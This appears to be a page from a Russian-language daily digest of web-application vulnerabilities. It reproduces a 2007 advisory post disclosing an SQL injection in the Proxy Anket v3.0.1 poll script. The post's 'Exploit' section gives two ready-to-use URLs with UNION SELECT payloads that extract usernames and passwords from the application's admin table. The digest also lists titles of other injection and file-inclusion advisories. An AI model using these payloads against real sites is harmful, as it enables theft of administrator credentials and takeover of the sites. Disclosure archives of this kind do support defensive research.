Дополнительная информация

Ежедневная сводка ошибок в Web-приложениях (PHP, ASP, JSP, CGI, Perl )

[Aria-Security Team] social-networkin SQL Injection

NuclearBB Alpha 2 Remote File Inclusion

Husrev Forums v2.0.1:PoWerBoard Sql

phpMyQuote 0.20 Version Multiple Sql And Xss Vulnerabilities

From:	yollubunlar_(at)_yollubunlar.org <yollubunlar_(at)_yollubunlar.org>
Date:	11 сентября 2007 г.
Subject:	Proxy Anket v3.0.1 Sql injection Vulnerable

//////////////// Yollubunlar.Org ////////////////////

Proxy Anket v3.0.1 Sql injection Vulnerable

Author : Yollubunlar.Org

Orginal Article : http://yollubunlar.org/proxy-anket-v301-sql-injection-vulnerable-3502.html

Main Page: http://yollubunlar.org/category/web-security

Script : http://www.aspdepo.org/tr/indir2.asp?id=587

Exploit

http://www.site.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,
username,3+from+admin

http://www.site.com/anketv3/anket.asp?islem=oyla&id=1+union+select+0,1,
password,3+from+admin

Thankx: Yollubunlar.Org

//////////////// Yollubunlar.Org ////////////////////